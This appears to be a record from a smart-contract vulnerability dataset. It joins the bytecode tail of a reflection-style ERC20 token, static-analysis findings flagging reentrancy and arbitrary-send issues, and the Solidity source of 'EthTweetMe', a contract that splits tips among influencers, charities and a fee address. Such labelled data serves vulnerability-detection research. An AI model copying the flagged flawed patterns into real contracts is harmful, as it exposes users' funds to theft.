ffffffffffffffffffffffffffffffff16141561139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490613940565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790613920565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114845750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148d57600080fd5b611495611fc0565b61149d61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150b57506114db61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152357506012600a9054906101000a900460ff165b15611bd8576012600b9054906101000a900460ff16611755573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fe5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116585750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175457600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169e61115a565b73ffffffffffffffffffffffffffffffffffffffff1614806117145750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fc61115a565b73ffffffffffffffffffffffffffffffffffffffff16145b611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a906139a0565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118005750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118565750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186f57506012600b9054906101000a900460ff16155b1561192c576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118de576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c79190613bb4565b6118d19190613b83565b8111156118dd57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190490613d6a565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d75750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4657506012600b9054906101000a900460ff16155b15611ae7576012600c9054906101000a900460ff1615611ae6576000611a8d600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abf600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac99190613bb4565b611ad39190613b83565b811115611ae457611ae381611fd2565b5b505b5b6012600b9054906101000a900460ff16611bd7576002601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b44576103e8601260086101000a81548161ffff021916908361ffff1602179055505b6014601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8d576103e8601260086101000a81548161ffff021916908361ffff1602179055505b601e601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd6576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c7f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c9657506012600b9054906101000a900460ff165b15611ca057600090505b611cac848484846120c4565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d1a573d6000803e3d6000fd5b5050565b6000600e54821115611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c906138c0565b60405180910390fd5b6000611d6f61230d565b90508083611d7d9190613b83565b915050919050565b6000600267ffffffffffffffff811115611da257611da1613e28565b5b604051908082528060200260200182016040528015611dd05781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e0a57611e09613df9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e7b57611e7a613df9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f04600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611162565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611f8a9594939291906139db565b600060405180830381600087803b158015611fa457600080fd5b505af1158015611fb8573d6000803e3d6000fd5b505050505050565b6000601081905550600f601181905550565b60016012600b6101000a81548160ff021916908315150217905550611ff681611d85565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161203e9190613b83565b90506120556004826120509190613bb4565b611cb2565b61205e81612331565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618260048361208d9190613bb4565b8360405161209d93929190613a35565b60405180910390a15060006012600b6101000a81548160ff02191690831515021790555050565b806120d2576120d1612382565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121755750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561218a57612185848484612394565b612307565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561222d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122425761223d8484846125df565b612306565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122e45750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f9576122f484848461282a565b612305565b612304848484612b03565b5b5b5b50505050565b600080600061231a612cc0565b91509150808261232a9190613b83565b9250505090565b61233961085c565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561237e573d6000803e3d6000fd5b5050565b60006010819055506000601181905550565b6000806000806000806123a687612f72565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fd9190613c0e565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248b9190613c0e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125199190613b2d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256581612fd4565b61256f8483613199565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125cc91906139c0565b60405180910390a3505050505050505050565b6000806000806000806125f187612f72565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126489190613c0e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d69190613b2d565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127649190613b2d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b081612fd4565b6127ba8483613199565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161281791906139c0565b60405180910390a3505050505050505050565b60008060008060008061283c87612f72565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128939190613c0e565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129219190613c0e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129af9190613b2d565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3d9190613b2d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8981612fd4565b612a938483613199565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612af091906139c0565b60405180910390a3505050505050505050565b600080600080600080612b1587612f72565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6c9190613c0e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bfa9190613b2d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c4681612fd4565b612c508483613199565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612cad91906139c0565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b600980549050811015612f3257826001600060098481548110612cff57612cfe613df9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612ded5750816002600060098481548110612d8557612d84613df9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612e0957600e5466038d7ea4c6800094509450505050612f6e565b6001600060098381548110612e2157612e20613df9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612e929190613c0e565b92506002600060098381548110612eac57612eab613df9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612f1d9190613c0e565b91508080612f2a90613d21565b915050612cd9565b5066038d7ea4c68000600e54612f489190613b83565b821015612f6557600e5466038d7ea4c68000935093505050612f6e565b81819350935050505b9091565b6000806000806000806000806000612f8f8a6010546011546131c5565b9250925092506000806000612fad8d8686612fa861230d565b613231565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b6000612fde61230d565b905060008183612fee9190613bb4565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461305d9190613b2d565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312f9190613b2d565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546131a79190613c0e565b600e8190555080600f546131bb9190613b2d565b600f819055505050565b600080600080606486886131d99190613bb4565b6131e39190613b83565b90506000606486896131f59190613bb4565b6131ff9190613b83565b9050600081838a6132109190613c0e565b61321a9190613c0e565b905080838395509550955050505093509350939050565b60008060008084886132439190613bb4565b9050600085886132539190613bb4565b9050600086886132639190613bb4565b905060008183856132749190613c0e565b61327e9190613c0e565b9050838184965096509650505050509450945094915050565b60006132aa6132a584613aac565b613a87565b905080838252602082019050828560208602820111156132cd576132cc613e5c565b5b60005b858110156132fd57816132e38882613307565b8452602084019350602083019250506001810190506132d0565b5050509392505050565b60008135905061331681614082565b92915050565b60008151905061332b81614082565b92915050565b600082601f83011261334657613345613e57565b5b8135613356848260208601613297565b91505092915050565b60008151905061336e81614099565b92915050565b600081359050613383816140b0565b92915050565b600081519050613398816140b0565b92915050565b6000602082840312156133b4576133b3613e66565b5b60006133c284828501613307565b91505092915050565b6000602082840312156133e1576133e0613e66565b5b60006133ef8482850161331c565b91505092915050565b6000806040838503121561340f5761340e613e66565b5b600061341d85828601613307565b925050602061342e85828601613307565b9150509250929050565b60008060006060848603121561345157613450613e66565b5b600061345f86828701613307565b935050602061347086828701613307565b925050604061348186828701613374565b9150509250925092565b600080604083850312156134a2576134a1613e66565b5b60006134b085828601613307565b92505060206134c185828601613374565b9150509250929050565b6000602082840312156134e1576134e0613e66565b5b600082013567ffffffffffffffff8111156134ff576134fe613e61565b5b61350b84828501613331565b91505092915050565b60006020828403121561352a57613529613e66565b5b60006135388482850161335f565b91505092915050565b60008060006060848603121561355a57613559613e66565b5b600061356886828701613389565b935050602061357986828701613389565b925050604061358a86828701613389565b9150509250925092565b60006135a083836135ac565b60208301905092915050565b6135b581613c42565b82525050565b6135c481613c42565b82525050565b60006135d582613ae8565b6135df8185613b0b565b93506135ea83613ad8565b8060005b8381101561361b5781516136028882613594565b975061360d83613afe565b9250506001810190506135ee565b5085935050505092915050565b61363181613c54565b82525050565b61364081613cab565b82525050565b600061365182613af3565b61365b8185613b1c565b935061366b818560208601613cbd565b61367481613e6b565b840191505092915050565b600061368c602a83613b1c565b915061369782613e7c565b604082019050919050565b60006136af602283613b1c565b91506136ba82613ecb565b604082019050919050565b60006136d2602083613b1c565b91506136dd82613f1a565b602082019050919050565b60006136f5602983613b1c565b915061370082613f43565b604082019050919050565b6000613718602583613b1c565b915061372382613f92565b604082019050919050565b600061373b602483613b1c565b915061374682613fe1565b604082019050919050565b600061375e601783613b1c565b915061376982614030565b602082019050919050565b6000613781601183613b1c565b915061378c82614059565b602082019050919050565b6137a081613c80565b82525050565b6137af81613c9e565b82525050565b60006020820190506137ca60008301846135bb565b92915050565b60006040820190506137e560008301856135bb565b6137f260208301846135bb565b9392505050565b600060408201905061380e60008301856135bb565b61381b6020830184613797565b9392505050565b600060c08201905061383760008301896135bb565b6138446020830188613797565b6138516040830187613637565b61385e6060830186613637565b61386b60808301856135bb565b61387860a0830184613797565b979650505050505050565b60006020820190506138986000830184613628565b92915050565b600060208201905081810360008301526138b88184613646565b905092915050565b600060208201905081810360008301526138d98161367f565b9050919050565b600060208201905081810360008301526138f9816136a2565b9050919050565b60006020820190508181036000830152613919816136c5565b9050919050565b60006020820190508181036000830152613939816136e8565b9050919050565b600060208201905081810360008301526139598161370b565b9050919050565b600060208201905081810360008301526139798161372e565b9050919050565b6000602082019050818103600083015261399981613751565b9050919050565b600060208201905081810360008301526139b981613774565b9050919050565b60006020820190506139d56000830184613797565b92915050565b600060a0820190506139f06000830188613797565b6139fd6020830187613637565b8181036040830152613a0f81866135ca565b9050613a1e60608301856135bb565b613a2b6080830184613797565b9695505050505050565b6000606082019050613a4a6000830186613797565b613a576020830185613797565b613a646040830184613797565b949350505050565b6000602082019050613a8160008301846137a6565b92915050565b6000613a91613aa2565b9050613a9d8282613cf0565b919050565b6000604051905090565b600067ffffffffffffffff821115613ac757613ac6613e28565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b3882613c80565b9150613b4383613c80565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b7857613b77613d9b565b5b828201905092915050565b6000613b8e82613c80565b9150613b9983613c80565b925082613ba957613ba8613dca565b5b828204905092915050565b6000613bbf82613c80565b9150613bca83613c80565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c0357613c02613d9b565b5b828202905092915050565b6000613c1982613c80565b9150613c2483613c80565b925082821015613c3757613c36613d9b565b5b828203905092915050565b6000613c4d82613c60565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613cb682613c80565b9050919050565b60005b83811015613cdb578082015181840152602081019050613cc0565b83811115613cea576000848401525b50505050565b613cf982613e6b565b810181811067ffffffffffffffff82111715613d1857613d17613e28565b5b80604052505050565b6000613d2c82613c80565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d5f57613d5e613d9b565b5b600182019050919050565b6000613d7582613c8a565b915067ffffffffffffffff821415613d9057613d8f613d9b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61408b81613c42565b811461409657600080fd5b50565b6140a281613c54565b81146140ad57600080fd5b50565b6140b981613c80565b81146140c457600080fd5b5056fea264697066735822122007a367066db587505fe14dd768ea7ce9d5b3aaf4a68100cfc72fc936a60c830464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,411
0x4fd4181d471f35797312b95119ae87642d7a46f1
pragma solidity ^0.4.24; contract ERC20Basic { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract EthTweetMe is Ownable { using SafeMath for uint256; // Supported token symbols mapped to ERC20 contract addr mapping(string => address) tokens; address webappAddress; address feePayoutAddress; uint256 public feePercentage = 5; uint256 public minAmount = 0.000001 ether; uint256 public webappMinBalance = 0.000001 ether; struct Influencer { address influencerAddress; uint256 charityPercentage; address charityAddress; } // Map influencer&#39;s twitterHandle to Influencer struct mapping(string => Influencer) influencers; event InfluencerAdded(string _influencerTwitterHandle); event FeePercentageUpdated(uint256 _feePercentage); event Deposit(address _address, uint256 _amount); modifier onlyWebappOrOwner() { require(msg.sender == webappAddress || msg.sender == owner); _; } constructor() public { webappAddress = msg.sender; feePayoutAddress = msg.sender; } // Fallback function. Allow users to pay the contract directly function() external payable { emit Deposit(msg.sender, msg.value); } function updateFeePercentage(uint256 _feePercentage) external onlyWebappOrOwner { require(_feePercentage <= 100); feePercentage = _feePercentage; emit FeePercentageUpdated(feePercentage); } function updateMinAmount(uint256 _minAmount) external onlyWebappOrOwner { minAmount = _minAmount; } function updateWebappMinBalance(uint256 _minBalance) external onlyWebappOrOwner { webappMinBalance = _minBalance; } function updateWebappAddress(address _address) external onlyOwner { webappAddress = _address; } function updateFeePayoutAddress(address _address) external onlyOwner { feePayoutAddress = _address; } function updateInfluencer( string _twitterHandle, address _influencerAddress, uint256 _charityPercentage, address _charityAddress) external onlyWebappOrOwner { require(_charityPercentage <= 100); require((_charityPercentage == 0 && _charityAddress == 0x0) || (_charityPercentage > 0 && _charityAddress != 0x0)); if (influencers[_twitterHandle].influencerAddress == 0x0) { // This is a new Influencer! emit InfluencerAdded(_twitterHandle); } influencers[_twitterHandle] = Influencer(_influencerAddress, _charityPercentage, _charityAddress); } function sendEthTweet(uint256 _amount, bool _isERC20, string _symbol, bool _payFromMsg, string _influencerTwitterHandle, uint256 _additionalFee) private { require( (!_isERC20 && _payFromMsg && msg.value == _amount) || (!_isERC20 && !_payFromMsg && _amount <= address(this).balance) || _isERC20 ); require(_additionalFee == 0 || _amount > _additionalFee); ERC20Basic erc20; if (_isERC20) { // Now do ERC20-specific checks // Must be an ERC20 that we support require(tokens[_symbol] != 0x0); // The ERC20 funds should have already been transferred erc20 = ERC20Basic(tokens[_symbol]); require(erc20.balanceOf(address(this)) >= _amount); } // influencer must be a known twitterHandle Influencer memory influencer = influencers[_influencerTwitterHandle]; require(influencer.influencerAddress != 0x0); uint256[] memory payouts = new uint256[](4); // 0: influencer, 1: charity, 2: fee, 3: webapp uint256 hundred = 100; if (_additionalFee > 0) { payouts[3] = _additionalFee; _amount = _amount.sub(_additionalFee); } if (influencer.charityPercentage == 0) { payouts[0] = _amount.mul(hundred.sub(feePercentage)).div(hundred); payouts[2] = _amount.sub(payouts[0]); } else { payouts[1] = _amount.mul(influencer.charityPercentage).div(hundred); payouts[0] = _amount.sub(payouts[1]).mul(hundred.sub(feePercentage)).div(hundred); payouts[2] = _amount.sub(payouts[1]).sub(payouts[0]); } require(payouts[0].add(payouts[1]).add(payouts[2]) == _amount); if (payouts[0] > 0) { if (!_isERC20) { influencer.influencerAddress.transfer(payouts[0]); } else { erc20.transfer(influencer.influencerAddress, payouts[0]); } } if (payouts[1] > 0) { if (!_isERC20) { influencer.charityAddress.transfer(payouts[1]); } else { erc20.transfer(influencer.charityAddress, payouts[1]); } } if (payouts[2] > 0) { if (!_isERC20) { if (webappAddress.balance < webappMinBalance) { // Redirect the fee funds into webapp payouts[3] = payouts[3].add(payouts[2]); } else { feePayoutAddress.transfer(payouts[2]); } } else { erc20.transfer(feePayoutAddress, payouts[2]); } } if (payouts[3] > 0) { if (!_isERC20) { webappAddress.transfer(payouts[3]); } else { erc20.transfer(webappAddress, payouts[3]); } } } // Called by users directly interacting with the contract, paying in ETH // Users are paying their own gas so no additional fee. function sendEthTweet(string _influencerTwitterHandle) external payable { sendEthTweet(msg.value, false, "ETH", true, _influencerTwitterHandle, 0); } // Called by the webapp on behalf of Other/QR code payers. // Charge an additional fee since we&#39;re paying for gas. function sendPrepaidEthTweet(uint256 _amount, string _influencerTwitterHandle, uint256 _additionalFee) external onlyWebappOrOwner { /* require(_amount <= address(this).balance); */ sendEthTweet(_amount, false, "ETH", false, _influencerTwitterHandle, _additionalFee); } /**************************************************************** * ERC-20 support ****************************************************************/ function addNewToken(string _symbol, address _address) external onlyWebappOrOwner { tokens[_symbol] = _address; } function removeToken(string _symbol) external onlyWebappOrOwner { require(tokens[_symbol] != 0x0); delete(tokens[_symbol]); } function supportsToken(string _symbol, address _address) external constant returns (bool) { return (tokens[_symbol] == _address); } function contractTokenBalance(string _symbol) external constant returns (uint256) { require(tokens[_symbol] != 0x0); ERC20Basic erc20 = ERC20Basic(tokens[_symbol]); return erc20.balanceOf(address(this)); } // Called as the second step by users directly interacting with the contract. // Users are paying their own gas so no additional fee. function sendERC20Tweet(uint256 _amount, string _symbol, string _influencerTwitterHandle) external { // Pull in the pre-approved ERC-20 funds ERC20Basic erc20 = ERC20Basic(tokens[_symbol]); require(erc20.transferFrom(msg.sender, address(this), _amount)); sendEthTweet(_amount, true, _symbol, false, _influencerTwitterHandle, 0); } // Called by the webapp on behalf of Other/QR code payers. // Charge an additional fee since we&#39;re paying for gas. function sendPrepaidERC20Tweet(uint256 _amount, string _symbol, string _influencerTwitterHandle, uint256 _additionalFee) external onlyWebappOrOwner { sendEthTweet(_amount, true, _symbol, false, _influencerTwitterHandle, _additionalFee); } // Public accessors function getInfluencer(string _twitterHandle) external constant returns(address, uint256, address) { Influencer memory influencer = influencers[_twitterHandle]; return (influencer.influencerAddress, influencer.charityPercentage, influencer.charityAddress); } }
